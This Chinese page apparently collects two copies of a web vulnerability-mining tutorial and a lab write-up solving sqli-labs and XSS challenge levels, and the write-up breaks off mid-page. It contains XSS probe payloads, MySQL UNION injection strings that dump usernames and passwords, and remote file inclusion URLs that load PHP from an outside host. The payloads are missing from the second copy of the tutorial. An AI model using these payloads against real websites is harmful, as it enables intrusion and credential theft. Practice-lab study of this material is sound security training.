精华内容
下载资源
问答
  • WEB漏洞挖掘技术

    万次阅读 2016-02-19 10:09:32
    前言漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行...

    前言

    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.

    在针对ELF文件 PE文件(.exe与.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术.

    网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.

    WEB漏洞的分类

    A: SQL注入(包括MSSQL MySQL Oracle等)

    SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.

    B: 文件包含类型,如PHP的的远程 本地文件包含漏洞

    文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用.

    C: XSS

    XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.

    同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.

    WEB漏洞挖掘规则

    我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:

    http://website/index1.php?id=<script>alert("111")</script>

    如果对方的代码过滤了”双引号那么可以通过

    http://website/index1.php?id=<script>alert('111')</script>

    采用’单引号测试若单引号也过滤呢?OK,我们这样来测试

    http://website/index1.php?id=<script>alert(111)</script>

    使用数字提交,这样测试XSS的漏洞就扩展到了三条有些具体的站点可能还会有很多的问题,例如:

    通过构造HTML语句来实现XSS漏洞的挖掘等等.

    A: XSS的漏洞挖掘规则

    http://website/index1.php?id=<script>alert("111")</script>
    http://website/index1.php?id=<script>alert('111')</script>
    http://website/index1.php?id=<script>alert(111)</script>
    http://website/index1.php?id=<body+onload=alert("1111")>
    http://website/index1.php?id=<body+onload=alert('1111')>
    http://website/index1.php?id=<body+onload=alert(1111)>
    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert("1111")>
    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert('1111')>
    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert(1111)>
    http://website/index1.php?id=<"
    http://website/index1.php?id=<'
    http://website/index1.php?id=<
    http://website/index1.php?id=<!--
    http://website/index1.php?id=-->
    http://website/index1.php?id=<!-- -->

    使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些我测试一些站点的时候,使用这些规则基本上可以找到一些XSS漏洞.

    B: SQL Injection

    现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.

    下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对的地方希望大家给予指针.

    下面的这四个语句判断是否存在mysql注入,其中’号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下

    http://website/index1.php?id=1'
    http://website/index1.php?id=1 and 1=1
    http://website/index1.php?id=1 and 1=2
    http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止

    下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4

    http://website/index1.php?id=1 and 1=1 union select 1,2,3,4
    http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4
    http://website/index1.php?id=1 and 1=1 union select 1/*
    http://website/index1.php?id=1 and 1=1 union select version()/*
    http://website/index1.php?id=1 and 1=1 union select databse()/*

    猜测表名:

    http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2
    //where 1=2 不打印猜测表的内容

    这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select的字段个数再使用,否则mysql会报错.

    http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
    table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以得到更多的数据库信息了

    上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.

    在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表的具体字段到底是干什么的

    1: KEY_COLUMN_USAGE表

    • constraint_schema: 存放数据库名
    • table_schema: 存放数据库名
    • table_name: 存放数据库表信息
    • column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

    2: SCHEMA表

    • schema_name: 存放数据库名
    • default_charater_set_name: 存放charset类型
    • default_collation_name: 存放charset相关信息

    3: SCHEMA_PRIVILEGES表

    • grantee: 存放数据库用户名
    • table_schema: 表名
    • privilege_type: 权限

    4: STATISTICS表

    • table_schema: 存放数据库名
    • table_name: 存放表名
    • index_schema: 数据库名
    • index_name: 是否缩引?
    • column_name: 存放索引自增字段?

    5: TABLES表

    • table_schema: 存放数据库名
    • table_name: 存放表名
    • table_type: 表类型 SYSTEM or BASE TABLE
    • engin: MEMORY MYISAM InnoDB
    • version:
    • table_rows:表的行数
    • auto_increment: 自增的总行数
    • create_time: 创建表的时间
    • update_time: 更新表的时间
    • create_options: 创建表时的约束条件

    有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果.我在本地测试时一切OK

    猜测列名:

    http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2

    按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password

    C: 文件包含漏洞

    文件包含漏洞的测试,有以下几个比较简单且有效的办法.

    1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式

    2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式

    然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:

    http://bbs.cciss.cn/include.txt
    http://bbs.cciss.cn/include

    漏洞规则:

    http://website/file.php?inc=http://bbs.cciss.cn/include.txt
    http://website/file.php?inc=http://bbs.cciss.cn/include.txt?
    http://website/file.php?inc=http://bbs.cciss.cn/include?
    http://website/file.php?inc=http://bbs.cciss.cn/include

    使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.

    例如从XSS漏洞的检测规则可能会发现包含文件漏洞

    如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),那么我们如何利用这样的漏洞呢?

    我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞

    http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)

    当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.

    总结

    针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取手工办法测试的规则,更多的规则是依靠经验不断积累所致

    本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,希望对大家有所帮助.

    展开全文
  • WEB漏洞挖掘技术总结

    2014-03-22 16:33:00
    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化。在前期针对缓冲区溢出、格式化字符串、堆溢出、lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行...

    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化。在前期针对缓冲区溢出、格式化字符串、堆溢出、lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术。

      在针对ELF文件、PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件、ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法。通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术。

      例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术。

      本文为CISRG的内部讨论文档,因此本文档的内容仅仅针对WEB漏洞的挖掘进行适当的讨论。

      网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤。我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果。

      WEB漏洞的分类

      A: SQL注入(包括MSSQL MySQL Oracle等)

      SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术。SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据。例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容。

      理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表。

      B: 文件包含类型,如PHP的的远程、本地文件包含漏洞

      文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用。

      C: XSS

      XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件。但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全性也是不容忽视的。通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度。例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法。

      同时例如session欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的。

    WEB漏洞挖掘规则

      我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法。

      在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:

      http://website/index1.php?id=,如果对方的代码过滤了"双引号那么可以通过http://website/index1.php?id=,采用'单引号测试

      若单引号也过滤呢?我们这样来测试http://website/index1.php?id=使用数字提交,这样测试XSS的漏洞就扩展到了三条,有些具体的站点可能还会有很多的问题,如通过构造HTML语句来实现XSS漏洞的挖掘等等。

      A: XSS的漏洞挖掘规则

      代码:

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=<"

      http://website/index1.php?id=<'

      http://website/index1.php?id=<

      http://website/index1.php?id=

      http://website/index1.php?id=

      使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些。在实际测试一些站点的时候,使用这些规则基本上可以找到一些XSS漏洞.

      B: SQL Injection

      现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下相关的技术,这些技术有简单的,也有一些比较复杂的。另外mysql的注入工具目前没有任何比较强的工具,我也在考虑我们CISRG是否要自己开发一款mysql的注入工具?

      下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下。

      代码:

      http://website/index1.php?id=1'

      http://website/index1.php?id=1 and 1=1

      http://website/index1.php?id=1 and 1=2

      http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止

      下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4

      代码:

      http://website/index1.php?id=1 and 1=1 union select 1,2,3,4

      http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4

      http://website/index1.php?id=1 and 1=1 union select 1/*

      http://website/index1.php?id=1 and 1=1 union select version()/*

      http://website/index1.php?id=1 and 1=1 union select databse()/*

      猜测表名:

      代码:

      http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2

      //where 1=2 不打印猜测表的内容

      这里的猜测就需要大家多靠经验了,如admin user articles news等等,且必须在指定select的字段个数再使用,否则mysql会报错。

      http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以得到更多的数据库信息了。

      上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的。

      在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分享了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的内容讨论下information_schema数据库的一些我们用到的表的具体字段到底是干什么的。

      代码:

      1: KEY_COLUMN_USAGE表

      constraint_schema: 存放数据库名

      table_schema: 存放数据库名

      table_name: 存放数据库表信息

      column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

      2: SCHEMA表

      schema_name: 存放数据库名

      default_charater_set_name: 存放charset类型

      default_collation_name: 存放charset相关信息

      3: SCHEMA_PRIVILEGES表

      grantee: 存放数据库用户名

      table_schema: 表名

      privilege_type: 权限

      4: STATISTICS表

      table_schema: 存放数据库名

      table_name: 存放表名

      index_schema: 数据库名

      index_name: 是否缩引?

      column_name: 存放索引自增字段?

      5: TABLES表

      table_schema: 存放数据库名

      table_name: 存放表名

      table_type: 表类型 SYSTEM or BASE TABLE

      engin: MEMORY MYISAM InnoDB

      version:

      table_rows:表的行数

      auto_increment: 自增的总行数

      create_time: 创建表的时间

      update_time: 更新表的时间

      create_options: 创建表时的约束条件

      ...

      有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果。

      猜测列名:

      http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2

      按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password

      C: 文件包含漏洞

      文件包含漏洞的测试,有以下几个比较简单且有效的办法.

      1: 新建一个简单的php代码,如:保存为*.txt格式

      2: 新建一个简单的php代码,如:保存为无后缀格式

      然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:

      代码:

      http://bbs.cciss.cn/include.txt

      http://bbs.cciss.cn/include

      漏洞规则

      代码:

      http://website/file.php?inc=http://bbs.cciss.cn/include.txt

      http://website/file.php?inc=http://bbs.cciss.cn/include.txt?

      http://website/file.php?inc=http://bbs.cciss.cn/include?

      http://website/file.php?inc=http://bbs.cciss.cn/include

      使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断。例如从XSS漏洞的检测规则可能会发现包含文件漏洞。

      如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),那么我们如何利用这样的漏洞呢?

      我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)

      当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode。

    转载于:https://www.cnblogs.com/milantgh/p/3617728.html

    展开全文
  • 当用户访问动态页面时,Web应用会根据用户的输入生成动态SQL语句提交给后台数据库,如果用户数据是一个(恶意)的SQL命令,而Web 应用又未对用户输入进行合法性检查,那么远程用户就有可能在数据库上执行任意命令,...
    • Author:ZERO-A-ONE
    • Date:2021-05-11

    一、实验题目

    1.1 SQL注入

    目标:通过SQL注入拿到flag

    https://sqli.littlefisher.me/Less-1/?id=1
    

    1.2 XSS注入

    目标:通过构造xss语句进行弹窗

    题目一

    http://test.ctf8.com/level1.php?name=test
    

    题目二

    http://test.ctf8.com/level2.php?keyword=test
    

    题目三

    http://test.ctf8.com/level3.php?keyword=test
    

    题目四

    http://test.ctf8.com/level6.php?keyword=test
    

    二、实验原理

    SQL是结构化查询语言的简称,目前几乎所有的Web应用在后台都使用某种SQL数据库来存放应用程序数据,当用户访问动态页面时,Web应用会根据用户的输入生成动态SQL语句提交给后台数据库,如果用户数据是一个(恶意)的SQL命令,而Web 应用又未对用户输入进行合法性检查,那么远程用户就有可能在数据库上执行任意命令,例如绕过认证登录网站后台,借助数据库的存储过程进行提权等操作。

    由于用户输入数据会使用以下三种方式提交给后台数据库:

    GET请求:该请求在URL中发送参数。

    POST请求:数据被包含在HTML的请求报文的实体体中。

    其他请求:HTTP请求的HEAD 方法、PUT方法等。

    因此寻找SQL注入漏洞有一种很简单的方法:通过发送特殊的数据来触发异常。阅读参考链接学习如何构造特殊数据测试目标网页是否存在SQL注入漏洞。

    跨站脚本攻击(XSS)通常是指攻击者利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行这些恶意代码。恶意代码通常是JavaScript,也可以包括VBScript、ActiveX、 Flash 或者HTML代码。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页信息、会话和cookie等各种内容。

    反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的跨站脚本攻击。攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接时,恶意代码会附加在请求的URL中,作为参数提交到服务器,服务器解析该请求,然后将包含恶意代码的响应返回给用户,最后用户浏览器解析此响应并执行恶意代码。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

    持久型跨站脚本(Persistent Cross-Site Scripting)等同于存储型跨站脚本(Stored Cross-Site Scripting)。攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

    一般意义上的XSS通常可以用简单的方法检测出来:当用户输入的某个参数的全部或其中一部分,原封不动地在服务器返回页面的源代码里出现时,我们就可以认为这个页面存在XSS漏洞。

    因为HTML是一种超文本标记语言,通过将一些字符特殊对待以区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title></title>之间的字符是页面的标题等等。当动态页面的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,而如果这些HTML标签中引入了一段脚本(JavaScript、VBScript等)时,这些脚本程序就会在用户浏览器中执行。

    常见的可以自动触发脚本代码的HTML标签(如<scirpt><img><input><details>等)对应XSS攻击方法,见参考链接。

    三、解题过程

    3.1 SQL注入

    打开网址可以看到
    在这里插入图片描述

    添加id=1正常,id=1’ 报错,根据报错信息可以看出来,输入的内容被单引号括住了
    在这里插入图片描述

    阅读一下网页源代码

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Less-1 **Error Based- String**</title>
    </head>
    <body bgcolor="#000000">
    <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
    <font size="3" color="#FFFF00">
    <!--user: flag -->
    <font size='5' color= '#99FF00'>Your Login name:Dumb<br>Your Password:Dumb</font></font> </div></br></br></br><center>
    <img src="../images/Less-1.jpg" /></center>
    </body>
    </html>
    

    发现提示<!--user: flag -->,根据提示构造Payload爆出所有的用户名和密码从而拿到flag

    https://sqli.littlefisher.me/Less-1/?id=1%27%20AND%201=2%20union%20select%201,(select%20group_concat(password)%20from%20security.users)%20,(select%20group_concat(username)%20from%20security.users)%20--+
    

    在这里插入图片描述

    3.2 XSS注入

    3.2.1 题目一

    访问页面获得如下图所示
    在这里插入图片描述

    进去首先可以看到,没有任何的输入点,而页面上有一个test(用户名),url中也有一个name参数,猜测是将url中的name获取到的值,直接放入页面导致了xss,我们可以先试一下,看看页面上的值会不会根据name参数得到的值而改变
    在这里插入图片描述

    可以发现的确会产生影响

    查看网页源代码:

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level2.php?keyword=test"; 
    }
    </script>
    <title>欢迎来到level1</title>
    </head>
    <body>
    <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
    <h1 align=center>欢迎来到level1</h1>
    <h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
    <h3 align=center>payload的长度:4</h3></body>
    </html>
    

    可以发现有一个alert的方法,alert()方法用于显示带有一条指定消息和一个确认按钮的警告框

    可以发现只要触发一下alert()方法即可完成任务,可获得Payload

    http://test.ctf8.com/level1.php?name=<script>alert('syc')</script>
    

    执行后显示
    在这里插入图片描述

    这个题目的意思就是因为网页没有对输入进行过滤,可直接给变量name进行赋值,而我们给name修改为了去执行alert()方法

    3.2.2 题目二

    这个时候就来到了题目二
    在这里插入图片描述

    老样子先查看网页源代码

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level3.php?writing=wait"; 
    }
    </script>
    <title>欢迎来到level2</title>
    </head>
    <body>
    <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
    <h1 align=center>欢迎来到level2</h1>
    <h2 align=center>没有找到和test相关的结果.</h2><center>
    <form action=level2.php method=GET>
    <input name=keyword  value="test">
    <input type=submit name=submit value="搜索"/>
    </form>
    </center><center><img src=level2.png></center>
    <h3 align=center>payload的长度:4</h3></body>
    </html>
    

    先找到可疑的点,当我们改变唯一输入点的时候,页面有两处随之改变
    在这里插入图片描述

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level3.php?writing=wait"; 
    }
    </script>
    <title>欢迎来到level2</title>
    </head>
    <body>
    <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
    <h1 align=center>欢迎来到level2</h1>
    <h2 align=center>没有找到和syc相关的结果.</h2><center>
    <form action=level2.php method=GET>
    <input name=keyword  value="syc">
    <input type=submit name=submit value="搜索"/>
    </form>
    </center><center><img src=level2.png></center>
    <h3 align=center>payload的长度:3</h3></body>
    </html>
    

    尝试之前的攻击手法,没有任何反应
    在这里插入图片描述

    查看一下此时的网页源代码

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level3.php?writing=wait"; 
    }
    </script>
    <title>欢迎来到level2</title>
    </head>
    <body>
    <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
    <h1 align=center>欢迎来到level2</h1>
    <h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>
    <form action=level2.php method=GET>
    <input name=keyword  value="<script>alert('syc')</script>">
    <input type=submit name=submit value="搜索"/>
    </form>
    </center><center><img src=level2.png></center>
    <h3 align=center>payload的长度:29</h3></body>
    </html>
    

    观察两者的不同

    <script>alert('syc')</script>
    
    <h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>
    

    可以发现<script>变成了&lt;script&gt;,在这里已经被转义了,放弃利用,这时候我们看到显示文字区域过滤了<>,但是input没有过滤,没有利用成功的原因是没有闭合引号和尖括号

    <input name=keyword  value="<script>alert('syc')</script>">
    

    至此我们可以构造我们的Payload了

    "><script>alert('syc')</script>
    

    在这里插入图片描述

    3.2.3 题目三

    进入题目三
    在这里插入图片描述

    查看一下源代码

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level4.php?keyword=try harder!"; 
    }
    </script>
    <title>欢迎来到level3</title>
    </head>
    <body>
    <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
    <h1 align=center>欢迎来到level3</h1>
    <h2 align=center>没有找到和相关的结果.</h2><center>
    <form action=level3.php method=GET>
    <input name=keyword  value=''>
    <input type=submit name=submit value=搜索 />
    </form>
    </center><center><img src=level3.png></center>
    <h3 align=center>payload的长度:0</h3></body>
    </html>
    

    老样子先试一下原来的payload
    在这里插入图片描述

    观察一下源代码,我们可以发现原来的两处<>均被转义,所以不能再利用标签

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level4.php?keyword=try harder!"; 
    }
    </script>
    <title>欢迎来到level3</title>
    </head>
    <body>
    <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
    <h1 align=center>欢迎来到level3</h1>
